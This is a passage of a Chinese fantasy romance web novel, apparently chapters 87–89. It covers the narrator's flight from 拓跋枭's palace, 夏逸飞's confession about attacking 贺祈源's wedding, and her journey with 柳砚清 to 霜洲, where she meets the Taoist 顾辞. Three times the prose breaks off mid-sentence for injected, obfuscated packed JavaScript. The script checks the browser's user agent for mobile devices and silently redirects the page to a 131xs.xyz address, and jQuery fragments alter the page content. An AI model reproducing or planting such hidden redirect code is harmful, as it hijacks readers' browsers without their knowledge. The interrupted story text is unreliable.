“此番陛下命我前往霜洲地界寻找神石。可当我站在那棵通天彻地的神树之下时,才第一次真切地感受到——在这浩瀚天地间,凡人的生命竟是如此渺小脆弱。我终究没有带回神石,因为我做不到。他想用神石困住你,而我……又怎能成为束缚你的枷锁?你不属于这里,不该被困在这凡尘之中。” 夏逸飞说话时,我望着他,流光月色映亮他的眼底,浮荡着些许愁色。 梨花如霜雪,在夜色中流连。他就这样望着月,我望着他,许久,都没有再说话。 “他早知你会来,特意将你安置在春来秋雨殿。更想让你体会众目睽睽之下的孤绝,所以选在迎亲那日远行。” “拓跋枭?他又怎知嫁来东凉的是我?” “当年你离开后,他掘地三尺也要找到你。甚至派暗卫潜入赵国寻你踪迹。后来探子偶然听闻出逃公主回宫的传闻,将此事禀报给了陛下。” “出逃,公主?” “赵国公主赵清漪,消失数月后安然回宫。这故事在赵国茶楼酒肆传得沸沸扬扬,你竟未听闻?” “没有……陈美人倒说起过我与一道士曾去凉州与她有过一面之缘。” “陛下得知公主名讳后,命我率军猛攻定边军。贺祈骁连战连败,赵国损兵折将。陛下趁机向赵王提出要求。” “是和亲?拓跋枭要赵国和亲?” “没错。并且点名道姓,只要清漪公主。” 夜风骤起,卷起满地梨花。我们之间突然隔着一场纷纷扬扬的花雪。 “你为何帮我?因韩风之故?还是念在也曾是赵国人?” 我拢了拢被风吹乱的衣襟,夏逸飞低笑一声,随手接住一片飘落的梨花。 “家国于我如浮云。既是孤儿,何处容身,何处便是故土。帮你,不止为她。” 我打趣道:“难道因为你也喜欢我?” 夏逸飞嗤笑一声:“这倒是原因之一。更多的……” 他突然收敛笑容,神色复杂地看向我。 “对不起。” 这突如其来的歉意令我愕然。之后无论我如何追问,他都缄口不言,只闷头饮酒,最终草草收场。 雪霁时分。 正午,我闯进前殿时,满朝文武正匍匐在玉阶之下向御座之上的拓跋枭启奏。 拓跋枭只是微微抬眸,便又示意大臣继续奏事。 殿内鸦雀无声,却无人敢出言驱赶。 自那日封后圣旨宣读后,拓跋枭说过,许我宫中任意行走,唯独不得踏出宫门半步。 我在殿门处站了整整两个时辰,直到双腿发麻。 拓跋枭终于合上最后一本奏折,玄色龙袍拂过玉阶,大步朝我走来。 我刚要开口,他已然扣住我的手腕,力道大得几乎要捏碎骨头,不由分说将我拽出大殿。 “你为何封我为后?” 我踉跄着跟在他身后。殿前广场积雪皑皑,两行脚印深深浅浅地烙在雪地上。 “你是赵国和亲的公主,就此入主中宫,告知天下两国永结秦晋之好,岂非美事一桩?” 他头也不回,声音裹挟着寒风。 我撇嘴冷笑道:“现在看清我不是鬼了?” 拓跋枭忽然顿住,站在漫天雪地里,指尖轻抚过我的脸颊。 “是,依然是。只有鬼魂,才不会离开朕。” 我偏头躲开他的触碰:“莫名其妙。我不会做你的皇后,把诏书收回去。” 拓跋枭冷笑:“君王之言,岂有收回之理?。” “陈美人尸骨未寒,封后大典怎能与丧期并行?” “正因如此——” 他骤然欺身上前,将我困在宫墙与他的身影之间,修长的手指划过我的颈侧。 “才更要如期举行。这次,朕倒要看看,你还能往哪儿逃。况且朕发布诏令那日,不还是李氏出殡之日吗?” 我怒视他,直言道:“这一切,你谋划了多久?” 拓跋枭的眼神忽然迷离起来,像是透过我在看某个遥远的影子。他猝不及防地将我拥入怀中,大氅上的金线绣纹硌得我生疼。漫天飞雪中,这个拥抱令人窒息。 “从你不告而别那日起,直到今日。” 一日之间,东凉皇宫突然涌入了数百名道士,宫中各处贴满了镇魂的黄纸符咒。 宫闱内外皆传天子口谕——封后大典礼成之前,这九重宫阙便是天罗地网。 莫说是人,便是檐下的燕雀、砖缝的蝼蚁,乃至游荡的孤魂野鬼……都休想逃出这朱墙半步。 他依旧视我为孤魂,哪怕承认是幻觉,也一意孤行。 太荒谬。 信我是鬼逃不出天罗地网是吧,那我便消失给你看。 春来殿的最后一夜,我锁紧大门,命玉笛看守不许任何人靠近,拓跋枭也不例外。 春来尚早,我还是叫夏逸飞带我跳上屋顶,履行与我赏纯春的约定。 白茫茫一片,孤馆灯青,我靠在夏逸飞的肩头,不禁打了个寒颤。 “太冷了,回去罢。” 他皱眉握住我冰凉的手指,呵出的白气在空中凝结。 “不去。” 我固执地摇头,往他怀里缩了缩。夏逸飞只好转身,从背后抱住我,前胸完全贴上我的后背,用厚重的毛毯将我们包裹住。 “要是能看到春花就好了……” 我在心底轻唤玉笛。剑鞘上的霜花突然化作水珠滴落。 刹那间,冬景褪去。刺骨的寒风变成了和煦的春风,漆黑的夜空化作湛蓝的晴空。积雪消融处,嫩绿的草芽破土而出,转眼间蔓延成无边的绿野。 夏逸飞怔怔地望着突然出现的春日盛景,连呼吸都放轻了。 “洛城?这里……为什么?” 我拉着他奔向花海。阳光暖暖地洒在肩头,裙摆掠过苜蓿丛,惊起几只彩蝶。远处山峦起伏,宛如一幅水墨丹青。 “这招叫南风浮梦,好听吧。你不是想家吗?正好,我也散散心。” 我张开双臂,深呼吸感叹。 “啊,想不到洛城这么美。” 他的目光掠过远处的村落,喉结微微滚动。 “洛城位于中原腹地,却被群山阻隔。小时候,我与韩风妹妹常去山野游乐,直到日落才舍得回家。” “你看吧,其实你还是心有所属的。” 夏逸飞苦笑着摇头,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056799|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想归想,难道我还真的能回去吗?我手中的刀,可是沾满了赵国将士的血啊。” “你知道人世间有多大吗?从霜洲到东海,足足几千几万里,还愁找不到容身之处吗?” “所以说你们神仙啊,根本不懂凡尘的苦。” “我不过实事求是。最重要的,是你如何去想,不是吗?你若认定没有,自然没有。反之,何处不是家。” “你说得对,我甘拜下风。” 夏逸飞躺进柔软的草地。 我在他身边坐下,双手撑在身后,笑道:“我又没在与你辩论,何来输赢。” 风吹草地,我们许久没说话,望着绿野浮想联翩。 “真希望你永远这样。” 我不禁反问:“哪样?” “保持现状,想不起从前。” 我侧目看他,“这与那句对不起有关吗?” 光影在他眼中流转。许久,一声几不可闻的“嗯”消散在春风里。 一片花瓣随风飘落,停在他的眉间。远处传来牧童的歌声,恍若隔世。 “我要离开东凉。”我望着流云说道。 “去哪儿?” 他的声音混着青草被压折的细响。我抬手遮住刺目的阳光。 “带她们,去远离凡尘,距离仙界最近的地方。” “天底下真有这样的地方吗?” “有,一定有。所以——”我突然翻身扼住他的咽喉,“为什么说对不起?你做了什么对不起我的事吗?” 他喉结在我掌心滚动:“我……现在不能告诉你。待你离开的那日,我再向你坦白。毕竟此一别,或许真的是永别。” 落下的雪花随风飘曳在他身边,寂寥的深宫没有其他人的影子,只有他,形单影只下看起来那么落寞。 夏逸飞的眼帘微垂,平静的神色看不出来太多情绪。 我停下脚步,一时不忍心就这么离开。又重新跑回去,抓起他的手。 夏逸飞抬头看我,原本没什么表情的脸上顷刻间浮现出一抹诧异。 “你要和我一起走吗?” 夏逸飞沉默不语,只低着头视线看着我抓住他的手。 许久无人出声。唯有纸张摩挲发出细碎的声音。 “我可以帮你找到韩风,帮你在人世间寻一处安逸的住处。没必要再受着委屈苦痛,你明明——” 突然捂住我嘴唇的手指尖冰凉,夏逸飞深邃的眼眸撞进我的视线。我没有推开他,静静地看着他。 “抱歉。” 我没明白他为什么突然道歉,宛如简单两个字,在做一场多方面的告别。 “不要再回来了。我不想再在这深宫见到你。你并不属于这个囚笼,但我是。我不能离开,我永远都无法离开。我注定无法再与她见面,也注定留不住你。快走吧,你知道该往哪里跑。” 夏逸飞定定地注视着我,眼底的雾色带着决绝。 “哪怕今夜东凉在你弹指一挥间灰飞烟灭,我也心甘情愿。” “……” 我没再说话,松开他的手,转身踏入黑暗中。 仙鹤已经恭候多时,我跳上它的后背,玉笛的声音划破寂静,夏逸飞的身影渐行渐远。 那夜黑无常的话确实让我产生了让整个东凉皇宫为她们陪葬的想法。 好在,夏逸飞的话挽回了些理智。 我展开夏逸飞塞进我手里的纸,过去的回忆缠绕着荆棘的大门无声呈现在我眼前。那扇门的背后,就是我忘记的一切。 我在余光中瞥见了什么,下意识伸出手接住,自空中飘落的白色东西就这样无声无息地落在我的掌心。 是一片白梅花瓣。 我抬头看去,悬浮在空中的孤岛犹如一座云上的坟墓,泛着凄冷的白光和淡淡的血腥味。 “这个贺祈源,到底是个什么人?” 【夏云深逸·夏逸飞自述】 三年前,我奉拓跋枭之命潜入赵国,寻找从东凉逃离的赵国公主。 我认出了你并非公主,而是十五岁那年在东凉校场救下我的仙子。 在春来秋雨殿与你幽会时,你向我坦白了赵国公主一事,又在某日与我突然告别。 再相逢时,竟是在贺府的婚宴之上。妒火焚心之下,我犯下了此生最大的过错,率东凉暗卫夜袭贺府。 为向拓跋枭复命,我带走了那幅你后来见过的画作。 这些年来,此事始终如鲠在喉。并非因我后悔杀人,而是每每想起你当时的眼神,便觉万箭穿心。 后来派人再去赵国寻你,却得知你已带着贺祈源的遗体消失无踪。 直到某夜,紫衣仙子入梦,告知你为求起死回生之术,已殒命江河。 我这般自私之人,既盼你永世想不起这段过往,又望你能永远记得我的模样。 今日斗胆以笔墨相告,若你与她有缘重逢,烦请转达: 此生已无缘再见,望余生安好。 87. 夜阑人静 夏逸飞已在京都潜伏半月有余,多数时候藏身于贺府暗处,静静窥视着她与贺祈源的一举一动。 南风轻轻翻动着手中画册,指尖抚过细腻的宣纸,每一页都绘着姿态各异的白梅。她蓦地转身,望向身后叉腰而立的少年,眸中满是惊叹: “你竟画了这么多白梅?若拿出去卖,怕是要被抢购一空!” 贺祈源闻言,唇角扬起一抹羞涩的笑意,低声道:“还不够。我最终想画的……是梦中的那座白梅孤岛。” “白梅孤岛?!”南风眼睛一亮,“你是说……茫茫海面上,独独一座开满白梅的岛屿?”她兴奋地拉住少年的衣袖,“现在就画如何?” 贺祈源却忽然沉默。他望向窗外摇曳的树影,眉头微蹙:“那孤岛虽美,可隔江处却是一片血色旷野。若是如实画来,怕会坏了意境。” “血色与白梅……”南风若有所思地点头,“确实不太相称。” 她张开双臂,轻轻环住少年,柔声安慰:“但我相信,总有一天,你会见到比梦中更美的梅林。” 话音未落,南风突然松开手,眼中迸发出惊喜的光芒:“啊!我想起来了!” 可转瞬间,她又懊恼地跺了跺脚:“可惜我无法与你细说。那处梅林远在神山,终年不谢,美得惊人!” 贺祈源眼前一亮,执起案上的狼毫笔:“不如这样,我们在画册末页题字说明。” 他蘸墨挥毫,笔走龙蛇间,八个遒劲大字跃然纸上—— “仙人重地,只可天观。” 少年抬头笑问:“风姐姐觉得如何?” “嗯!一目了然!” 南风拍手称赞,小心翼翼地捧起画册,如同捧着稀世珍宝:“此书可以赠予我吗?我想带回蓬莱第几宫。这幅画也是。要不,你再临摹一幅一模一样的?你留一幅,我带走一幅。” “当然可以。”贺祈源笑着应下,忽又想起什么,转身从书架取下一卷画轴,“对了,我这儿还有一幅得意之作,风姐姐替我送给神山梅林的主人如何?” 南风接过画轴,轻轻展开一角,顿时呼吸一滞—— 画中竹林如海,仙鹤与流水相和。而那白衣对弈之人……竟与记忆中的身影重叠。 梅树下争吵的画面再次浮现。决绝的仙人,无法挽回的诀别。 她迅速卷好画轴,抬头时已掩去眼中落寞,笑意盈盈: “没问题!他一定会喜欢的!” “不过这竹林对弈之人的容貌……我尚未想好。其实一直想临摹恩人的相貌,可恩人不许,只好作罢。” “恩人?”南风指尖一颤。 少年望向窗外,目光有些飘忽:“不久前遇了些事……虽然记不清了,但二哥说是恩人将我救回的。”他苦笑着摇头,“一直没能登门道谢,想方设法求见,恩人却始终不肯露面……” 忽然转身执起画笔,眼中闪着期冀的光:“姐姐与我描述一下那位仙人的样貌吧?我想将此二人……都画成仙人之姿。”笔尖在宣纸上轻轻一点,“或许……恩人日后能见到此画呢。” 南风怔住,眸光微晃,似有无数往事从眼底掠过。模糊至极,无法看清。 半晌,她轻轻点头: “好。” 贺祈源阳光般的笑意凝在唇角,手指不自觉地收紧,将南风的双手牢牢包裹。他垂下眼帘,睫毛在阳光下投下一片细碎的阴影,声音里带着小心翼翼的试探: “姐姐当真愿意嫁给我吗?还是说……”他顿了顿,“又在拿我打趣?” 南风没有立即回答,只是轻轻回握住他微微发颤的手。她能感觉到少年掌心沁出的薄汗,还有那急促的脉搏,一下一下,像是振翅欲飞的蝴蝶。 “君子一言,驷马难追。”她抬眸望进他的眼睛,一字一句道,“我以神仙的名义起誓——我是真心实意,愿意嫁给你。” 话音未落,少年的眼泪便如断了线的珠子,簌簌落下。南风慌了神,连忙抽出腰间的绣帕,手忙脚乱地替他擦拭。 “怎么还哭了?”她故意板起脸,“男子汉大丈夫,不许哭!” 贺祈源却摇着头,泪水怎么也止不住。他哽咽着,声音断断续续:“不是的……我只是、只是觉得……这一切来得太不容易了。好像……好像劫后余生,终于等到了幸福……” 南风愣住了。 这种心绪,竟与她如出一辙。只是她书读得不多,不知该如何形容这种莫名的感触。如今被他一语道破,倒像是拨开了迷雾。 ——可为何会有这种感觉?这分明是她与贺祈源正式的初次相见。 恍惚间,记忆如潮水般涌来。她曾在宁安桥的梦境里见过这位少年将军,后来游历至京都,又在大街上与他重逢。 从梦境初见的那一刻起,便有一种说不清道不明的熟悉感萦绕心头,仿佛他们早已相识,在某个被遗忘的时光里…… 万竿修竹挺立,碧影婆娑,枝叶扶疏间漏下碎金般的光斑。曲径通幽处,苍苔浸露,偶有风过竹梢的簌簌清音。 幽篁深处,青石棋枰静卧。对弈二人衣袂如雪,男子执黑,眉目疏朗似远山含黛;女子拈白,玉颜明净若晓月生辉,眸光流转间隐现棋路万千。竹影斑驳,黑白交锋处暗藏玄机。 岩畔古松虬劲,悬泉飞漱其间。空山幽静,素鹤独立松荫,羽翼轻振时,带起碎玉飘摇。 此画后置于信州府知县卧房内。 朱门高悬红绸,鞭炮碎屑如血,铺了满庭。十九岁的贺祈源第三次抚平喜服上的褶皱,铜镜映出少年意气风发的面容,眼角眉梢俱是掩不住的欢喜。 "二哥,如何?" 贺祈安抬手为弟弟正了正玉冠,眼底闪过一丝复杂,却又很快化作笑意:"比上战场还要俊朗三分!"忽然压低声音,"你既认定了她,那些闲言碎语自有二哥替你挡着。至于大哥......"他拍了拍弟弟的肩膀,"他终究是你兄长。" "多谢二哥!" 望着弟弟雀跃的背影,贺祈安喉结滚动,终究咽下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056800|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那些未尽之言——关于这个来历不明的女子,他曾暗中查探。数月前,她与京都富商江家长子过从甚密,而江家早已与别府定下婚约。这女子离开江家不久,便与三弟邂逅…… 喧天的喜乐穿透闷热的空气,贺祈源仰头饮尽合卺酒,琥珀色的酒液在唇间流转。他的目光总忍不住瞥向西厢——雕花窗棂后,烛火摇曳,将新娘的剪影勾勒在茜纱上,如梦似幻。 深秋的暴雨来得猝不及防。一道闪电劈开夜幕,照亮了夏逸飞手中泛着寒光的弯刀。微醺的贺祈源正哼着民间小调转过回廊,刀锋已至喉前三寸。 “东凉刀?你是——” “杀了你,两全其美。”夏逸飞的声音比刀锋更冷。 贺祈源的笑容僵在脸上。雨幕中,夏逸飞的刀法如游龙戏水,每一式都带着不死不休的决绝。少年将军虽自幼习武,却在围攻下渐显颓势。一柄长枪突然刺穿他的右肩,鲜血瞬间染红了喜服。 “你可知她是人是神?”夏逸飞的刀尖抵住贺祈源咽喉。 少年咳着血笑出声:“我不在乎她的身份。只要为南风,归隐山林、舍弃一切,我都愿意。” 南风……他竟敢直呼她的全名…… 南风二字出口的瞬间,夏逸飞瞳孔骤缩。刀尖又进半分,却在雷声炸响时猛地顿住—— “祈源!” 那袭嫁衣红得刺目。夏逸飞怔怔望着雨中狂奔而来的身影,盖头紧攥手中,墨发在风中飞扬。这一刻他终于明白,当年校场上救他的神女,如今已为眼前之人甘愿沦为凡人。 檐下灯笼摇晃,刀刃上映出新娘的身影,恍若未干的血痕。他本该一刀了结这一切,就像了结自己多年的执念。可当她踉跄跪倒在血水中,当她绣鞋染上贺祈源的血——就像那年他的血浸透她袖口——握刀的手竟第一次颤抖。 “对不起。” 这句低语消散在雨里。夏逸飞最后看了眼门楣上褪色的喜字,转身时,黑夜吞没了他的身影,只余满地猩红。 东凉皇宫,雨幕如织。 夏逸飞单膝跪地,双手奉上那幅残破的画卷。 “赵国公主与贺家三将军的遗体一同消失,末将未能找到,只带回二人遗留的画作。” 拓跋枭猛地转身,袖袍带起一阵厉风。他抓起画卷,指尖几乎要嵌入绢帛,却在下一瞬狠狠将它掷出殿外。画轴砸在石阶上,滚落展开,画中人的白梅在雨中渐渐晕染模糊。 “一幅破画,有何用!”拓跋枭怒极反笑,眼底翻涌着阴鸷,“她若真甘心做个凡人,迟早会明白——离了皇宫,她活不下去。” 殿外雷声轰鸣,雨势更急。 拓跋枭缓缓踱至殿门,望着晦暗的天际,一字一顿道:“贺祈源一死,定边军脊梁已断。此战——当改写史册。传令下去,增兵边境。” “末将领命。” “待时机成熟——”拓跋枭眯起眼,雨水顺着他的轮廓滑落,像未干的刀痕。 “朕要赵王,亲自把她送回来。” 88. 山有扶苏 是一片白梅花瓣。 我抬头看去,悬浮在空中的云团宛若孤岛,或者说,如一座云上的坟墓,泛着凄冷的白光和淡淡的血腥味。 传说中的西洲孤岛,想必便是如此吧。 乘仙鹤飞越东凉疆土,那团阴云却始终如影随形。 “仙鹤,我能到云上去看看吗?总感觉它一直跟着我们……” 仙鹤不语,默默调转了方向。 云絮在脚下铺开,一只修长的手忽然伸到眼前。 我怔住,半晌才迟疑地伸手。 云絮绵软,险些跌倒时,被他一把揽住。下颌抵在我肩头,温热的呼吸拂过耳畔。心头蓦地一酸,我抬手回抱住他。 “平凡百姓传言,每一朵云上都住了位神仙。请问这位仙长是住在云上的吗?” 柳砚清低笑直起身,理了理我路途中因风吹乱的发丝。 “良辰美景,要与我共赏吗?” 我听得云里雾里,还未回神,已被他拉着在云边坐下。 忽然,脚下传来一阵喧闹声。我低头望去,只见人间处处点着暖黄的灯火,街巷间人影绰绰,隐约传来丝竹管弦之声。几处院落里,载歌载舞,欢笑声随风飘上云端。远处的城楼上,点点火光缓缓升起,在夜空中明明灭灭。 我疑惑地望着这突如其来的热闹,看着夜空飘忽不定的火光惊叹道:“哇!好热闹!今天是什么日子吗?” “腊月三十,除夕夜。” 他轻声解释,目光柔和地望着那些升起的火光。 除旧迎新,喧嚣欢腾。这一天,所有人放下一切,只管沉浸在烟火与至亲之人的身边。 我望着热闹人间,不禁感叹道:“又是一年结束了……团圆佳节,幸好不是孤独一人。要是星辰也在,该多好。” “嗯。” “不过,星辰替我陪在大仙身边,也挺好。不然他老人家孤孤单单的。”我一下被自己点醒,“大仙才不孤独,哥哥姐姐都在。倒是医仙……” 我默默看向柳砚清,“医仙是孤单一个人呢吧?” 柳砚清望着远处,浅笑道:“如你所言,星辰正替我陪在医仙身边。” 我噗嗤笑出声,“小小年纪就那么懂事,不愧我的儿。唉,要是另一个也在,星辰没有爹娘,也能有个伴儿。” 烟火在脚下绽开,酒香混着硝烟袅袅升腾,缠绕在我们衣袂间。 “在信州竹馆,我曾翻到一本书,是花神留下的花谱。书中有花神的画像,曾有去一路山见过你的人说,你与花神极为相似。我猜……疏花元君,或许是你的母亲。” 柳砚清垂下眸子,“小时候我也问过医仙同样的问题,但医仙从不愿告诉我。我猜,是两人发生过什么不可言说的故事吧。但医仙深爱花神这点,毋庸置疑。” 他说话时,忽然扣紧我的五指。 “医鹿山的梅林为何是白梅林,后来医仙同我讲,是你询问他,若将我与那人比作世间的一种花,会是哪一种?医仙说是白梅,你便以白梅幻境作为赠予医仙的见面礼。” 我感受着他掌心的温度,接上他的话:“然后,你就将幻境变为了终年不谢的,真正的梅林。” 心头忽然涌起久违的安宁。 “等恢复记忆后,我们一起去见她吧。。” 柳砚清忍俊不禁,屈指轻轻刮了下我的鼻尖:“别又捅出什么娄子。” “你都不想见见娘亲吗?”我揉着鼻尖,“至今我见过了爹爹、哥哥、二姐……偏偏没见过娘亲……” 察觉到我的失落,他忽然将我们十指相扣的手举至唇边,在我腕间脉搏处落下一个轻吻。温热的触感随着血脉直抵心尖。 “很快……你很快能见到她。” 打上夜空的一束烟花消失在云絮间,我歪着头打量柳砚清,发梢扫过他肩头。 “师尊小时候一个人,都怎么度过的?” 柳砚清扬起无可奈何的笑,喃喃道:“又叫师尊……” “许久没叫了,过过嘴瘾。”我拽了拽他的袖角,“师尊给讲讲?” “小时候医仙几乎与我寸步不离,没什么机会和别的小孩玩乐。倒是在清溪山的几年,交了位挚友。” “挚友?也是神仙吗?” “嗯,掌管书籍的神,云枕书。曾经是挚友,现在……他唤我妹夫。” “妹夫?你与他妹——欸?!是这样吗!” 我恍然大悟,瞪大了眼睛和嘴巴。 “云、云枕书是、是……二姐夫?!” “换算人界历法,约莫五年前,元君与他在蓬莱完婚。” “噗嗤——”我笑得栽进他怀里,他顺势从背后环抱住我,“挚友变妹夫,还挺有意思的。” 灿烂却微弱的光芒彻底消散,我仰头凝视他倒悬的脸,察觉我的动作后,他也默契地垂下头,心照不宣地啄了下我的唇。 “困了?” 我摇头,转了个身靠上他平缓起伏的胸膛。 “你感受到了吗?我的心跳,还有……身体的温度?” 手掌的温热隔着后背薄薄的衣料传来,他搂得越来越紧,我微颤的双手紧贴在他心跳的位置。 “我明白你的意思。” 心跳加速,脸颊愈发滚烫,我却不敢乱动。 砚清的唇轻轻擦过我的耳垂:“可这里是云端,任何动静在人间听来,都会如打雷般清晰可闻。” 他的手指轻轻抚过我的脸颊,随后缓缓下移,停在我的唇边,轻轻摩挲。 “收起你的想法吧。” “我、我哪儿有什么想法……不要妄自揣测……” 心跳快得几乎要冲出胸腔。他的脸渐渐靠近,鼻尖几乎贴上我的,呼吸交织在一起,暧昧得让人窒息。 “不过,这个可以给你。” 话尾淹没在陡然收紧的唇齿间,我急不可耐地攀上他的脖颈,恨不得同双生树根那般与他缠绕在一起。 永生永世,再不分开。 倦意忽然涌上来,我靠着他肩膀打了个哈欠。 “每次跟你在一起……就忍不住想睡觉……” “是你太累了。” 他指尖拂过我眼睑,我往他颈窝蹭了蹭。 “嗯……我真的好累……只有在你身边时,能放下一切……才睡得安稳……” “睡吧,我会唤醒你的。” “真想你每日每夜都陪在我身边……不再离开……” 柳砚清突然沉默。余光里,仙鹤的金瞳一开一合。 “再过不久,她便会知晓一切。你……” 对仙鹤说的话未完,柳砚清低头凝视怀中之人熟睡的侧脸,指节蜷了又展。夜风掠过时,那句低语散在云间: “她两次选择了你,这次,应该也会遵循相同的答案。” 仙鹤甫一落地,我的双脚便深深陷进雪中,积雪瞬间没至膝盖。刺骨的寒意顺着腿骨攀爬而上,我不由打了个哆嗦。 一件狐裘披风裹上肩头,带着熟悉的药香。柳砚清修长的手指在颈前系带时顿了顿,替我拂去发间落雪。 “霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056801|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洲地界得你自己进去了。” “你不陪我吗?” 我下意识抓住他的袖角。他轻轻摇头,呼出的白气模糊了眉目。 “仙凡殊途,入界的路不同,我不能与你同行。” 额间忽然落下温软触感——恰是方大仙每次为我消除记忆时,指尖停留的位置。这个认知让我心头一颤。 “我在前头等你。” “那你一定要在凡人入口处等我啊!一言为定啊!不能又丢下我……” 我急急伸出小指。他低笑一声,冰凉的小指勾住我的。 “嗯。一约既定,万山无阻。” 霜洲边境笼罩在淡金色的阵法光幕中,与医鹿山的神灵指引不同,这里的结界透着生人勿近的冷冽。我伸手触碰流动的金芒,波纹在指尖荡漾开来。 “你知道怎么破解吗?”我侧首问身旁仙鹤。 仙鹤羽冠轻晃,长喙在光幕上啄出细碎涟漪,却无计可施。 罢了,听信直觉,走一步算一步吧。 “直接走过去就可以了吧……啊!” 足尖刚触及阵眼,骤然天旋地转。金色符文化作锁链缠来,猛地将我拽入虚空。 虚白的幻境呼啸而过,无数白光如利刃刺目,突然自怀中跃出挡在我眼前,焕发出青光,稍稍盖去白光。 不知多久,眼前的白光骤然消散,取而代之的是铺天盖地的风雪。 凛冽的寒风如刀割般迎面扑来,卷着细碎的冰晶,在天地间织成一张密不透风的网。我下意识抬手遮挡,却发现连呼吸都凝成了白雾,转瞬便被狂风撕碎。 玉笛悬在身前,青光如薄纱般流转,勉强撑开一方安宁。透过朦胧的光幕,我看见—— 茫茫雪原上,枯树如鬼魅般伫立,枝桠扭曲成狰狞的形状。远处山峦隐没在暴雪中,只余模糊的轮廓,仿佛随时会倾倒下来。更诡异的是,风雪中竟夹杂着细碎的金芒,那是阵法残留的符文,此刻却像有生命般在空中游弋。 “这里……真的是神山吗……” 突然,一阵刺骨的寒意自脚底窜上脊背。我低头看去—— 霜花已顺着鞋面攀附而上,所过之处皆凝成冰晶,正一点点向我小腿蔓延…… “哇啊!” 我吓得原地跳起来。好在这一蹦,冰霜碎裂脱落。 “不行!得赶紧走!” 我慌忙举起玉笛伸向仙鹤,“你先进来避一避” 仙鹤清唳着摇头,最后半声鸣叫还卡在喉间,便被青光硬生生拽入玉笛。 山路难行,大雪漫天,寒风不息。 两个时辰的跋涉,眼前依旧只有铺天盖地的白。靴底早已结满冰碴,每次抬脚都像在撕开黏连的皮肉。 我终于无力瘫坐在雪堆里,喉咙干得发疼。 “我不会活活累死……饿死……被野兽吃掉吧……人影子房影子没有……鬼也没有啊……” 猛一阵超强风雪扑面而来,我不由眯起眼睛,直到视线的尽头有一道模糊的身影自寒光中缓缓走出。 是个人!我们有救了! “救我……救我!救救我!” 那人不知听到我的声音没,好在他所走的方向是我这边。 我像是抓住了救命的稻草,艰难起身,好让自己显眼些,被他发现。我拼命挥动玉笛,青光在雪中划出微弱轨迹。 直至那人靠近,参半着熟悉和陌生的脸出现在头顶上方。干裂的嘴唇轻起,我难以置信地念出眼前“人”的名字: “黑……黑无常?” 89. 顾影辞风 我怔怔地望着眼前人,风雪模糊了视线。 “黑、黑无常?” 那人抬手掸去衣襟落雪,露出腰间一枚磨损严重的青铜罗盘。 “贫道顾辞,并非阴曹地府的黑无常。” 眼前人眉宇间尽是温润笑意,哪有半分森然鬼气。 我这才惊觉失礼,赶忙垂下视线低喃道歉。却又忍不住抬眸描摹他的相貌。 顾辞一袭素白道袍,发间只束一根木簪,分明是个清雅出尘的修道之人。我竟被风雪迷了心窍,指人为鬼。 我勉强撑起身子,一晃的功夫,肩头堆落雪,随我起身簌簌落下。 “我想去霜洲地界,还请道长告知去路。” 顾辞目光掠过我被雪浸湿的衣摆,扬唇笑道:“带着三具尸体吗?是要寻找山中仙者,救活人命?” 我瞪大眼睛,后退半步,悄悄护住玉笛。 “道长如何知道我带着……” “贫道可观天象、观面相,天机命数,一看便知。” 我正要解释,他却从袖中取出一根朱砂红线,娴熟地缠在腕间,将另一端递来。 “是想葬于神树下对吧?跟紧我。” 刺眼的红,我有些不敢接过。可眼下的情况让我无法拒绝。 风雪愈发肆意,再不逃出去,区区凡人之躯,恐怕要躺这儿了。 混沌。 天地间只剩呼啸的风雪,吞没一切声响。顾辞的身影在前方时隐时现,素白道袍几乎与暴雪融为一体,唯有腕间那根朱砂红线,在苍茫中划出一道刺目的痕迹。 每一步都像是踩在虚无之上。 雪深及膝,呼吸间尽是冰渣,连睫毛都凝了霜。耳边除了风的嘶吼,还隐约夹杂着某种低语。 像是千万年来迷失在此的魂灵,在雪幕之后窸窣耳语。 我惊得打了个寒颤。 “道长!我们还有多久才走得出去啊!” 我不知道他是否听见了我的声音,只晓得我嗓子都吼哑,他仍不回头。 突然,红线一松,我差点撞上他的后背。 顾辞止步,广袖一拂,回眸看到我时,眼底升起笑意。 “我们到了。” 雪仍在落,却轻如叹息。眼前景象豁然洞开—— 霜洲地界,人神交界的薄暮之地,天穹在此倾斜。 我微张唇瓣,发自内心地感叹:“这里便是……人神交界之地……” 星星点点的雪花随着风轻轻飘到顾辞的发梢,顷刻间,化为雨水,又立刻蒸腾。 这位道长还会仙术? 顾辞继续领我前行。 云层不再是凡尘的灰白,而是流转着极光的青蓝,如纱如雾,垂落至冰崖之巅。巨大的神鸟,羽翼如雪,翎尾却泛着神性的流金。 似是散步,我们走得很慢。 